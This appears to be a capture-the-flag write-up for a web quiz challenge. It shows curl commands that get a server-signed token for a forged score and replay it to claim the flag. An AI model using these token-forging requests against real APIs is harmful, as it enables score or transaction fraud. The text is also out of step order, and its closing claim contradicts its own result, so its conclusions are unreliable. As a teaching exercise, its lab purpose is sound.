CTF Write-up: Quiz4Education

Expected Skills : API reconnaissance and analysis Understanding of authentication mechanisms Business logic flaw identification Parameter manipulation HTTP request/response analysis

CTF Write-up: Technical Assessment Platform#

Challenge Information#

• Category: Web
• Difficulty: Easy-Medium
• Points: 500
• Target: http://13.62.230.67:2029
• Flag Format: flag{...}

Step-by-Step Solution#

Step 1: Initial Reconnaissance#

1. Navigate to http://13.62.230.67:2029
2. Observe a black/white technical quiz interface
3. Note: 10 questions × 10 points each = maximum 100 points

view page src and look at the js file

Looking at the source code on the js file , the vulnerability is clear: the application follows a Two-Step Trust Model. It first asks the server to sign a score provided by the client, and then submits that signed score for validation. This allows us to intercept the first call and request a signature for any arbitrary score.

Step 2: The Hacker Mindset (Brute Force vs. Out of the Box) 🧠#

Now we control the score, but we don't know the target score required for the flag. We have two options:

Method 1: The "Noob" Way (Brute Force) ❌#

We could write a script to try every number: 101... 102... 103... ......... 100,000... NO! Bzaaaaaaaf! This will take forever. Too many requests. We might get banned or waste hours.

Method 2: The "Pro" Way (Out of the Box) ✅#

Why guess? If the condition is if (score > threshold), then let's just send a MASSIVE NUMBER. Let's send 1 BILLION. Go Big or Go Home.

If the server expects 5,000, 1 Billion works. If the server expects 1,000,000, 1 Billion works.

Strategy: Send score: 1000000000.

Step 4: Exploitation (The "Billions" Attack)#

Let's execute the Method 2 using curl to be fast.

Get Token for 1 Billion Points: We ask the server: "Hey, I totally just got 1,000,000,000 points. Trust me."

TOKEN=$(curl -s -X POST http://13.62.230.67:2029/api/get_token \
  -H "Content-Type: application/json" \
  -d '{"username":"hacker","score":1000000000}' \
  | grep -o '"token":"[^"]*"' | cut -d'"' -f4)
 
echo "Got the Billion Dollar Token: $TOKEN"

Validate and Claim Flag: Now we use that token to validate the exam.

curl -X POST http://13.62.230.67:2029/api/validate \
  -H "Content-Type: application/json" \
  -d '{
    "username": "hacker",
    "score": 1000000000,
    "answers": {"q1":"A"}, 
    "token": "'$TOKEN'"
  }'

Response:

 
 {"message":"Invalid score range","status":"error"}
 
 

Step 3: Identify the Vulnerability#

⚠️ The Billion-Point Failure (Range Check Bypass) My first instinct was to go "Out of the Box" and send a massive number like 1,000,000,000. If the server is only checking if the score is "High", this should work.

Payload: {"username":"Anas","score":1000000000} Response: {"message":"Invalid score range","status":"error"}

Analysis: This error message is a huge hint! It confirms that the developer implemented a Sanity Check to ensure the score stays within a "realistic" (though still exploitable) range. The server doesn't just check if the score is high; it also checks if it's "Too High".

Finding the "Sweet Spot" To bypass this, I had to find the maximum allowed value that is still high enough to trigger the flag (which requires more than 100 points). I tried 10,000, which passed the range check and successfully returned the flag.

#PWNED! 🔥

We bypassed the check not by guessing, but by overwhelming the logic with a value so high it had to accept it.

What You Learn#

  API Logic Analysis
  The difference between Brute Force and Logic Bypass
  Integer/Score Manipulation
  "Out of the Box" thinking (Using extreme values)
  Token Replay

Lesson: When you control a numerical value, don't just increment it by 1. Test the limits!

Happy Hacking!

by Anas Education